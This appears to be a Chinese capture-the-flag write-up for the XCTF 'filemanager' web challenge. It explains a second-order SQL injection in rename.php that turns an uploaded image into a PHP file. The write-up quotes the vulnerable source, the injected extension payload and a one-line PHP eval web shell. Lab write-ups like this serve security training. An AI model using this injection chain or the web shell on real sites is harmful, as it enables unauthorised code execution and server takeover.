攻防世界 WEB filemanager

这题有源码泄露,先扫一波,dirsearch -u http://111.200.241.244:58290/
扫出来var.www.gz,下下来分析,直接上有错误的sql注入点吧,在rename.php里面,在rename的时候并没有对文件后缀进行检验,特殊字符也没有过滤,那么这里就是注入点

if ($result) {

		$req['newname'] = basename($req['newname']);
		$re = $db->query("update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}");
		if (!$re) {
			print_r($db->error);
			exit;
		}
		$oldname = UPLOAD_DIR . $result["filename"] . $result["extension"];
		$newname = UPLOAD_DIR . $req["newname"] . $result["extension"];
		if (file_exists($oldname)) {
			rename($oldname, $newname);
		}
		$url = "/" . $newname;
		echo "Your file is rename, url:
                <a href=\"{$url}\" target='_blank'>{$url}</a><br/>
                <a href=\"/\">go back</a>";
	}

upload.php
sql语句进行了addslashes(),sql语句

$sql = "select * from `file` where `filename`='{$path_parts['filename']}' and `extension`='{$path_parts['extension']}'";

下面开始分析
首先上传一个空的后缀名为jpg的文件,由于有数据库的结构,我们带一个extension进去’,extension=’.jpg
这样在上传的时候就可以过过滤,然后进行rename,将’,extension=’,替换成upload.jpg,执行了

update `file` set `filename`='{$req['newname']}', `oldname`='{$result['filename']}' where `fid`={$result['fid']}

相当于执行了

update `file` set `filename`='upload.jpg', `oldname`='',extension='' where `fid`={$result['fid']}

那么原来的’,extension=’.jpg相当于变为了upload.jpg.jpg(实际上),upload.jpg是他的文件名,其实这里数据库里extension已经变为空了(数据库里filename存的是upload.jpg,extension是空),而upload文件夹里却还是upload.jpg.jpg文件
然后就是再上传一个一句话<?php eval($_POST['nihao']);?>,命名为upload.jpg,此时这个文件是有后缀的.jpg,文件名是upload
然后最后一步,把文件名为upload.jpg变为upload.php,由于之前数据库里我们已经把extension变为空了,所以oldname匹配到是我们上传木马的文件,而不是原来的文件,具体过程结合源码想一下就明白了
所以最后蚁剑就好
参考视频链接:https://www.bilibili.com/video/BV1XP4y1h7qk?spm_id_from=333.999.0.0

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值